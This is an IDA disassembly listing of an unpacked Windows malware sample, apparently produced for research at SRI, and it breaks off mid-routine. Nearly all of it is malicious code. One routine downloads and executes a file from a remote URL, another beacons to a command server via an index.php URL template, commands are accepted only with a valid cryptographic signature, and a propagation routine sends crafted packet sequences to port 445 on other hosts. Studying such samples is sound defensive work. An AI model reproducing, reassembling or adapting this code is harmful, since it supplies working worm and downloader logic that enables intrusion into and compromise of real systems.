; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 6C85CA152FF559BDB252ADB6F4F40477 ; File Name : u:\work\6c85ca152ff559bdb252adb6f4f40477_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31420000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31421000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31421000 dd 77DD590Bh ; DATA XREF: sub_314228DB+1Ar dword_31421004 dd 77DD59F0h ; DATA XREF: sub_314228DB+38r dword_31421008 dd 77DD23D7h ; DATA XREF: sub_31422882+3Er dword_3142100C dd 77DD22EAh ; DATA XREF: sub_3142284D+14r ; sub_31422882+1Dr dword_31421010 dd 77DD5C55h ; DATA XREF: sub_3142284D+24r dword_31421014 dd 77DD189Ah ; DATA XREF: sub_3142284D+2Dr ; sub_31422882+4Er ... dword_31421018 dd 77E2A571h ; DATA XREF: sub_314223B2+17Dr dword_3142101C dd 77DE089Eh ; DATA XREF: sub_3142179A+17r dword_31421020 dd 77DE07A3h ; DATA XREF: sub_3142179A+30r dword_31421024 dd 77DE0D79h ; DATA XREF: sub_3142179A+4Dr dword_31421028 dd 77DE0343h ; DATA XREF: sub_3142179A+5Br dword_3142102C dd 77DE0AF0h ; DATA XREF: sub_3142177E+8r dword_31421030 dd 77DE042Eh ; DATA XREF: sub_3142177E+12r dword_31421034 dd 77DDEBA2h ; DATA XREF: sub_3142172F+6r dword_31421038 dd 77DE0BB2h ; DATA XREF: sub_3142172F+3Dr align 10h dword_31421040 dd 77E79E34h ; DATA XREF: sub_31422CB9+Br dword_31421044 dd 77E7980Ah ; DATA XREF: sub_31422CA5+Dr dword_31421048 dd 77E7A099h ; DATA XREF: sub_31422B67+17r dword_3142104C dd 77E76A2Eh ; DATA XREF: sub_31422B67+E9r dword_31421050 dd 77E6BD13h ; DATA XREF: sub_31422A9B+71r dword_31421054 dd 77E684C6h ; DATA XREF: sub_31422A9B+B0r dword_31421058 dd 77EBB1E7h ; DATA XREF: sub_31422D2Cr dword_3142105C dd 77EBA595h ; DATA XREF: sub_31422D26r dword_31421060 dd 77E616B4h ; DATA XREF: sub_3142292E+9Br dword_31421064 dd 77EBA6E9h ; DATA XREF: sub_31422D20r dword_31421068 dd 77E73167h ; DATA XREF: sub_31422712+13r ; sub_31422B67+8Fr dword_3142106C dd 77E737DEh ; DATA XREF: sub_314223B2+C8r dword_31421070 dd 77E79D5Bh ; DATA XREF: sub_3142239E+8r dword_31421074 dd 77E73628h ; DATA XREF: UPX0:31422346r ; sub_31422A9B+Fr dword_31421078 dd 77E79D8Ch ; DATA XREF: sub_314211A0+EDr dword_3142107C dd 77E77963h ; DATA XREF: sub_314211A0+B9r ; sub_314211A0+F6r ... dword_31421080 dd 77E7A837h ; DATA XREF: sub_314211A0+8Fr ; sub_314221C4+57r dword_31421084 dd 77E74672h ; DATA XREF: sub_314211A0+5Ar ; sub_31421422+64r ... dword_31421088 dd 77E74155h ; DATA XREF: sub_314211A0+3Dr ; sub_31422A9B+40r dword_3142108C dd 77E704FCh ; DATA XREF: sub_314211A0+37r ; sub_31422A9B+1Br dword_31421090 dd 77E7513Ch ; DATA XREF: sub_314215C7+29r dword_31421094 dd 77E61BE6h ; DATA XREF: sub_314216A2+7Dr ; sub_31421801+16Cr ... dword_31421098 dd 77E775F1h ; DATA XREF: sub_314216A2+1r dword_3142109C dd 77E73BEFh ; DATA XREF: sub_31421801+4Fr dword_314210A0 dd 77E79C90h ; DATA XREF: sub_31421D68+4Dr dword_314210A4 dd 77E7A5FDh ; DATA XREF: sub_31421D68+13r ; sub_31421DF0+2Cr dword_314210A8 dd 77E805D8h ; DATA XREF: sub_31421D68+Dr ; sub_314223B2+116r dword_314210AC dd 77E61A90h ; DATA XREF: sub_31421DF0+BCr dword_314210B0 dd 77E706B7h ; DATA XREF: sub_31421DF0+8Ar ; sub_3142292E+92r dword_314210B4 dd 77E79F93h ; DATA XREF: sub_31421DF0+26r ; UPX0:31422336r dword_314210B8 dd 77E7751Ah ; DATA XREF: sub_31421EFB+12r dword_314210BC dd 77E7C2C4h ; DATA XREF: sub_31421F29+8r dword_314210C0 dd 77E7AC37h ; DATA XREF: sub_31421F38+12r ; sub_31421F52+12r dword_314210C4 dd 77E61BB8h ; DATA XREF: sub_31421FA3+38r dword_314210C8 dd 77E74A3Bh ; DATA XREF: sub_3142204E+13r dword_314210CC dd 77E73AB3h ; DATA XREF: sub_3142204E+8r dword_314210D0 dd 77E73C49h ; DATA XREF: sub_3142207E+137r ; sub_314221C4+66r ... dword_314210D4 dd 77E777EFh ; DATA XREF: sub_3142207E+F4r ; sub_314225C3+3Fr ... dword_314210D8 dd 77E78B82h ; DATA XREF: sub_314221C4+92r dword_314210DC dd 77E793EFh ; DATA XREF: sub_314221C4+6Er dword_314210E0 dd 77E75CB5h ; DATA XREF: UPX0:31422370r ; sub_31422A9B+C3r dword_314210E4 dd 77F5157Dh, 0 ; DATA XREF: UPX0:31422361r dword_314210EC dd 77C35280h ; DATA XREF: sub_31421EFB+22r dword_314210F0 dd 77C42E10h ; DATA XREF: sub_31422CE2r dword_314210F4 dd 77C43710h ; DATA XREF: sub_31422CDCr dword_314210F8 dd 77C43490h ; DATA XREF: sub_31422CD6r dword_314210FC dd 77C3528Dh ; DATA XREF: sub_314216A2:loc_314216FCr ; sub_31421F73:loc_31421F84r ... ; --------------------------------------------------------------------------- loc_31421100: ; DATA XREF: UPX0:loc_31422CD0r mov al, 3Eh retn ; --------------------------------------------------------------------------- db 77h dword_31421104 dd 77C43AB0h ; DATA XREF: sub_31421422+3Cr ; sub_3142207E:loc_314220AFr ... dword_31421108 dd 77C43500h ; DATA XREF: sub_31421316+37r ; sub_31421422+AAr align 10h dword_31421110 dd 77D4BDCAh ; DATA XREF: sub_31421DF0+5Dr dword_31421114 dd 77D4456Bh ; DATA XREF: sub_31421DF0+67r dword_31421118 dd 77D45CBCh ; DATA XREF: sub_31421DF0+7Ar dword_3142111C dd 77D4C96Ah ; DATA XREF: sub_314215C7+5Dr ; sub_314215C7+77r ... dd 0 dword_31421124 dd 76214750h ; DATA XREF: sub_314211A0+A9r ; sub_314215C7+9Dr dword_31421128 dd 7620AFB6h ; DATA XREF: sub_314211A0+18r ; sub_314215C7+89r dword_3142112C dd 76204E4Dh ; DATA XREF: sub_314215C7+C5r dword_31421130 dd 762211EFh ; DATA XREF: sub_31422038+8r ; UPX0:314227A2r dword_31421134 dd 7620BD61h ; DATA XREF: sub_314211A0+DBr ; sub_314215C7+B0r dd 0 dword_3142113C dd 71AB41DAh ; DATA XREF: sub_31422308+10r dword_31421140 dd 71AB3ECEh ; DATA XREF: sub_314221C4+100r dword_31421144 dd 71AB5DE2h ; DATA XREF: sub_314221C4+10Dr dword_31421148 dd 71AB868Dh ; DATA XREF: sub_314221C4+120r dword_3142114C dd 71AB32CAh ; DATA XREF: sub_31421FF9+Cr dword_31421150 dd 71AB1740h ; DATA XREF: sub_31421FF9+17r dword_31421154 dd 71AB2BBFh ; DATA XREF: sub_31421FF9+25r dword_31421158 dd 71AB3C22h ; DATA XREF: sub_31421801+2Br ; sub_314221C4+ACr dword_3142115C dd 71AB401Ch ; DATA XREF: sub_31421801+44r ; sub_31422712+Dr dword_31421160 dd 71AB1746h ; DATA XREF: sub_31421801+147r ; sub_314221C4+F0r dword_31421164 dd 71AB3E5Dh ; DATA XREF: sub_31421801+15Dr dword_31421168 dd 71AB1AF4h ; DATA XREF: sub_31421801+17Br ; sub_3142207E+67r ... dword_3142116C dd 71AB5690h ; DATA XREF: sub_31421801+1A4r ; sub_31421801+1D8r ... dword_31421170 dd 71AB8629h ; DATA XREF: sub_31421801+550r ; sub_3142207E+128r dword_31421174 dd 71AB1A6Dh ; DATA XREF: sub_31421801+559r ; sub_3142207E+12Fr align 10h dword_31421180 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_31421422+5o dd offset nullsub_1 align 10h dword_31421190 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_314223B2+5o dd offset nullsub_2 align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314211A0 proc near ; CODE XREF: sub_31421422+16Dp var_110 = byte ptr -110h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 110h push ebx push esi xor esi, esi push edi push esi push esi push esi push 1 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 ; InternetOpenA mov ebx, eax cmp ebx, esi jnz short loc_314211CB push 1 jmp loc_31421261 ; --------------------------------------------------------------------------- loc_314211CB: ; CODE XREF: sub_314211A0+22j lea eax, [ebp+var_110] push 104h push eax call dword_3142108C ; GetSystemDirectoryA mov edi, dword_31421088 lea eax, [ebp+var_110] push offset dword_314241F8 push eax call edi ; lstrcat lea eax, [ebp+var_110] push 6 push eax call dword_31421084 ; lstrlen lea eax, [ebp+eax+var_110] push eax call sub_31421F73 pop ecx lea eax, [ebp+var_110] pop ecx push offset dword_314241F0 push eax call edi ; lstrcat push esi push esi push 2 push esi push esi lea eax, [ebp+var_110] push 40000000h push eax call dword_31421080 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_31421241 push 2 jmp short loc_31421261 ; --------------------------------------------------------------------------- loc_31421241: ; CODE XREF: sub_314211A0+9Bj push esi push esi push esi push esi push [ebp+arg_0] push ebx call dword_31421124 ; InternetOpenUrlA cmp eax, esi mov [ebp+arg_0], eax jnz short loc_31421264 push [ebp+var_4] call dword_3142107C ; CloseHandle push 3 loc_31421261: ; CODE XREF: sub_314211A0+26j ; sub_314211A0+9Fj pop eax jmp short loc_314212B5 ; --------------------------------------------------------------------------- loc_31421264: ; CODE XREF: sub_314211A0+B4j mov edi, 100000h push edi call sub_31422CA5 mov ebx, eax pop ecx lea eax, [ebp+var_8] push eax push edi push ebx push [ebp+arg_0] call dword_31421134 ; InternetReadFile lea eax, [ebp+var_C] push esi push eax push [ebp+var_8] push ebx push [ebp+var_4] call dword_31421078 ; WriteFile push [ebp+var_4] call dword_3142107C ; CloseHandle lea eax, [ebp+var_110] push 5 push eax call sub_31421FA3 push ebx call sub_31422CB9 add esp, 0Ch xor eax, eax loc_314212B5: ; CODE XREF: sub_314211A0+C2j pop edi pop esi pop ebx leave retn sub_314211A0 endp ; =============== S U B R O U T I N E ======================================= sub_314212BA proc near ; CODE XREF: sub_31421422+F8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov ecx, [esp+arg_4] mov eax, [esp+arg_0] push ebx push esi push edi or edi, 0FFFFFFFFh inc eax push 0Fh lea esi, [ecx+1] sub edi, ecx pop ecx loc_314212D1: ; CODE XREF: sub_314212BA+56j mov dl, [eax] mov bl, [eax-1] add edx, ecx add bl, cl sar edx, 4 and dl, 3 sub dl, [esp+0Ch+arg_8] shl bl, 2 or dl, bl mov [esi-1], dl mov dl, [eax+1] mov bl, [eax] dec dl add bl, cl and dl, cl sub dl, [esp+0Ch+arg_8] add eax, 3 shl bl, 4 and bl, 0F0h or dl, bl mov [esi], dl inc esi inc esi lea edx, [edi+esi] cmp edx, 30h jl short loc_314212D1 pop edi pop esi pop ebx retn sub_314212BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421316 proc near ; CODE XREF: sub_3142139B+27p var_38 = byte ptr -38h var_1C = byte ptr -1Ch arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi push 6 pop ecx mov esi, offset aAbcdefghijklmn ; "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lea edi, [ebp+var_1C] push 6 rep movsd movsw movsb pop ecx mov esi, offset aAbcdefghijkl_0 ; "abcdefghijklmnopqrstuvwxyz" lea edi, [ebp+var_38] mov ebx, [ebp+arg_4] rep movsd movsw test ebx, ebx movsb jge short loc_31421349 add ebx, 1Ah loc_31421349: ; CODE XREF: sub_31421316+2Ej movsx edi, [ebp+arg_0] mov esi, dword_31421108 lea eax, [ebp+var_1C] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31421373 lea ecx, [ebp+var_1C] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_1C] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421373: ; CODE XREF: sub_31421316+48j lea eax, [ebp+var_38] push edi push eax call esi ; strchr pop ecx test eax, eax pop ecx jz short loc_31421393 lea ecx, [ebp+var_38] push 1Ah sub eax, ecx pop ecx add eax, ebx cdq idiv ecx mov al, [ebp+edx+var_38] jmp short loc_31421396 ; --------------------------------------------------------------------------- loc_31421393: ; CODE XREF: sub_31421316+68j mov al, [ebp+arg_0] loc_31421396: ; CODE XREF: sub_31421316+5Bj ; sub_31421316+7Bj pop edi pop esi pop ebx leave retn sub_31421316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142139B proc near ; CODE XREF: sub_31421422+D6p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_8] push edi mov al, [eax] test al, al jz short loc_314213F8 mov edi, [ebp+arg_0] push ebx loc_314213B0: ; CODE XREF: sub_3142139B+58j sub al, 2 inc [ebp+arg_4] mov bl, al mov eax, esi neg eax mov byte ptr [ebp+arg_0], bl push eax push [ebp+arg_0] call sub_31421316 mov [edi], al pop ecx inc edi cmp bl, 61h pop ecx jl short loc_314213DC cmp bl, 7Ah jg short loc_314213DC movsx esi, bl sub esi, 61h loc_314213DC: ; CODE XREF: sub_3142139B+34j ; sub_3142139B+39j cmp bl, 41h jl short loc_314213EC cmp bl, 5Ah jg short loc_314213EC movsx esi, bl sub esi, 41h loc_314213EC: ; CODE XREF: sub_3142139B+44j ; sub_3142139B+49j mov eax, [ebp+arg_4] mov al, [eax] test al, al jnz short loc_314213B0 pop ebx jmp short loc_314213FB ; --------------------------------------------------------------------------- loc_314213F8: ; CODE XREF: sub_3142139B+Fj mov edi, [ebp+arg_0] loc_314213FB: ; CODE XREF: sub_3142139B+5Bj and byte ptr [edi], 0 pop edi pop esi pop ebp retn sub_3142139B endp ; =============== S U B R O U T I N E ======================================= sub_31421402 proc near ; CODE XREF: sub_31421422+104p arg_0 = dword ptr 4 xor eax, eax xor ecx, ecx loc_31421406: ; CODE XREF: sub_31421402+12j mov edx, [esp+arg_0] movzx edx, byte ptr [ecx+edx] add eax, edx inc ecx cmp ecx, 30h jl short loc_31421406 push 1Ah cdq pop ecx idiv ecx mov eax, edx add eax, 61h retn sub_31421402 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421422 proc near ; CODE XREF: sub_314215C7+BAp var_174 = dword ptr -174h var_170 = byte ptr -170h var_168 = byte ptr -168h var_164 = byte ptr -164h var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = byte ptr -124h var_11C = byte ptr -11Ch var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421180 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 164h push ebx push esi push edi mov [ebp+var_128], 1 and [ebp+var_4], 0 push offset aZer0 ; "zer0" push [ebp+arg_0] call dword_31421104 ; strstr pop ecx pop ecx mov edi, eax mov [ebp+var_130], edi test edi, edi jz loc_314215A8 add edi, 4 mov [ebp+var_130], edi jz loc_314215A8 push edi call dword_31421084 ; lstrlen mov [ebp+var_1C], eax cmp eax, 50h jle loc_314215A8 and byte ptr [edi+100h], 0 mov al, [edi] mov [ebp+var_168], al movsx ebx, al sub ebx, 61h mov [ebp+var_12C], ebx js loc_314215A8 cmp ebx, 1Ah jge loc_314215A8 inc edi mov [ebp+var_130], edi push 7Eh push edi call dword_31421108 ; strchr pop ecx pop ecx mov esi, eax mov [ebp+var_134], esi test esi, esi jz loc_314215A8 mov al, [esi] mov [ebp+var_170], al and byte ptr [esi], 0 push ebx push edi lea eax, [ebp+var_11C] push eax call sub_3142139B mov al, [ebp+var_170] mov [esi], al inc esi mov [ebp+var_130], esi xor edi, edi push edi lea eax, [ebp+var_164] push eax lea eax, [esi+1] push eax call sub_314212BA lea eax, [ebp+var_164] push eax call sub_31421402 add esp, 1Ch cmp [esi], al jnz short loc_314215A8 push 44h push offset dword_31424000 lea eax, [ebp+var_124] push eax call sub_3142172F add esp, 0Ch lea eax, [ebp+var_174] push eax push 30h lea eax, [ebp+var_164] push eax lea eax, [ebp+var_11C] push eax call dword_31421084 ; lstrlen push eax lea eax, [ebp+var_11C] push eax lea eax, [ebp+var_124] push eax call sub_3142179A add esp, 18h test eax, eax jnz short loc_3142159B cmp [ebp+var_174], edi jz short loc_3142159B lea eax, [ebp+var_11C] push eax call sub_314211A0 pop ecx mov [ebp+var_128], edi loc_3142159B: ; CODE XREF: sub_31421422+15Cj ; sub_31421422+164j lea eax, [ebp+var_124] push eax call sub_3142177E pop ecx loc_314215A8: ; CODE XREF: sub_31421422+4Ej ; sub_31421422+5Dj ... or [ebp+var_4], 0FFFFFFFFh call nullsub_1 mov eax, [ebp+var_128] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_31421422 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314215C7 proc near ; CODE XREF: sub_314216A2+2Ap var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi push 4000h call sub_31422CA5 pop ecx mov esi, eax lea eax, [ebp+var_E8] push 63h push eax push 7 push 400h call dword_31421090 ; GetLocaleInfoA xor ebx, ebx cmp byte ptr [ebp+arg_4], bl jz short loc_3142162F lea eax, [ebp+var_E8] push eax lea eax, [ebp+var_84] push dword_31424FEC push dword_31425004 push offset aNjkdtpyhxp ; "njkdtpyhxp" push [ebp+arg_0] push offset aHttpSIndex_php ; "http://%s/index.php?id=%s&scn=%d&inf=%d"... push eax call dword_3142111C ; wsprintfA add esp, 1Ch jmp short loc_31421647 ; --------------------------------------------------------------------------- loc_3142162F: ; CODE XREF: sub_314215C7+34j push [ebp+arg_0] lea eax, [ebp+var_84] push offset aHttpS ; "http://%s" push eax call dword_3142111C ; wsprintfA add esp, 0Ch loc_31421647: ; CODE XREF: sub_314215C7+66j push ebx push ebx push ebx push ebx push offset aMozilla4_0Co_0 ; "Mozilla/4.0 (compatible; MSIE 6.0; Wind"... call dword_31421128 ; InternetOpenA push ebx mov edi, eax push ebx push ebx lea eax, [ebp+var_84] push ebx push eax push edi call dword_31421124 ; InternetOpenUrlA mov ebx, eax lea eax, [ebp+var_4] push eax push 2000h push esi push ebx call dword_31421134 ; InternetReadFile push esi mov [ebp+arg_4], eax call sub_31421422 push esi call sub_31422CB9 mov esi, dword_3142112C pop ecx pop ecx push ebx call esi ; InternetCloseHandle push edi call esi ; InternetCloseHandle mov eax, [ebp+arg_4] pop edi pop esi pop ebx leave retn sub_314215C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_314216A2 proc near ; DATA XREF: sub_314223B2+15Bo push ebx mov ebx, dword_31421098 push esi push edi loc_314216AB: ; CODE XREF: sub_314216A2+88j xor esi, esi mov edi, 46021h loc_314216B2: ; CODE XREF: sub_314216A2+86j inc esi inc esi call sub_31422038 test eax, eax jz short loc_314216FC mov al, byte_31424080[esi+esi*4] push eax push off_31424081[esi+esi*4] call sub_314215C7 or eax, edi pop ecx xor eax, 8064h pop ecx shl eax, 3 mov edi, eax xor eax, 228h test ax, 0FFFFh jnz short loc_314216FC push 0 push offset dword_31425004 call ebx ; InterlockedExchange push 0 push offset dword_31424FEC call ebx ; InterlockedExchange loc_314216FC: ; CODE XREF: sub_314216A2+19j ; sub_314216A2+46j call dword_314210FC ; rand push 3 cdq pop ecx idiv ecx add esi, edx call sub_31422068 xor edx, edx mov ecx, 493E0h div ecx add edx, 61B48h push edx call dword_31421094 ; Sleep cmp esi, 16h jb short loc_314216B2 jmp loc_314216AB sub_314216A2 endp ; =============== S U B R O U T I N E ======================================= sub_3142172F proc near ; CODE XREF: sub_31421422+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx mov ebx, [esp+4+arg_0] push esi mov esi, dword_31421034 push edi xor edi, edi push edi push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_3142175C push 8 push 1 push edi push edi push ebx call esi ; CryptAcquireContextA test eax, eax jnz short loc_3142175C push 1 pop eax jmp short loc_3142177A ; --------------------------------------------------------------------------- loc_3142175C: ; CODE XREF: sub_3142172F+19j ; sub_3142172F+26j lea eax, [ebx+4] push eax push edi push edi push [esp+18h+arg_8] push [esp+1Ch+arg_4] push dword ptr [ebx] call dword_31421038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_3142177A: ; CODE XREF: sub_3142172F+2Bj pop edi pop esi pop ebx retn sub_3142172F endp ; =============== S U B R O U T I N E ======================================= sub_3142177E proc near ; CODE XREF: sub_31421422+180p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+4] call dword_3142102C ; CryptDestroyKey push 0 push dword ptr [esi] call dword_31421030 ; CryptReleaseContext xor eax, eax pop esi retn sub_3142177E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142179A proc near ; CODE XREF: sub_31421422+152p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push edi lea eax, [ebp+arg_0] xor edi, edi push eax push edi push edi push 8003h push dword ptr [esi] call dword_3142101C ; CryptCreateHash test eax, eax jnz short loc_314217C0 push 1 pop eax jmp short loc_314217FD ; --------------------------------------------------------------------------- loc_314217C0: ; CODE XREF: sub_3142179A+1Fj push edi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_31421020 ; CryptHashData test eax, eax jnz short loc_314217D9 push 2 pop edi jmp short loc_314217F2 ; --------------------------------------------------------------------------- loc_314217D9: ; CODE XREF: sub_3142179A+38j push edi push edi push dword ptr [esi+4] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_0] call dword_31421024 ; CryptVerifySignatureA mov ecx, [ebp+arg_14] mov [ecx], eax loc_314217F2: ; CODE XREF: sub_3142179A+3Dj push [ebp+arg_0] call dword_31421028 ; CryptDestroyHash mov eax, edi loc_314217FD: ; CODE XREF: sub_3142179A+24j pop edi pop esi pop ebp retn sub_3142179A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421801 proc near ; CODE XREF: sub_3142255F+36p ; sub_314225C3+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_31422CF0 mov eax, dword_31424C84 push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31424C88 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31421158 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31421D61 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_3142115C ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_3142109C ; lstrcpyn lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31424C78 push eax call dword_3142111C ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_31421874: ; CODE XREF: sub_31421801+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_31421874 push 60h lea eax, [ebp+var_E4] push offset dword_31424798 push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_31422CE2 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_31422CDC ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4C] push eax call sub_31422CDC ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_31422CE2 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_31422CD6 ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_31422CD6 ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31421160 ; htons mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31421164 ; connect cmp eax, 0FFFFFFFFh jz loc_31421D57 mov esi, dword_31421094 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_31421168 push 89h push offset dword_31424580 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A8h push offset dword_3142460C push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0DEh push offset dword_314246B8 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp eax, 46h jl loc_31421D4C cmp [ebp+var_730], 31h jnz loc_31421BF7 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_31422CD6 ; memset add esp, 0Ch push offset byte_314242B8 call dword_31421084 ; lstrlen push eax lea eax, [ebp+var_EA4] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_31421084 ; lstrlen push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_31422CE2 ; memcpy mov eax, dword_31424BBE add esp, 0Ch mov [ebp+var_798], eax loc_31421A98: ; CODE XREF: sub_31421801+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 68h push offset dword_314247FC push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push 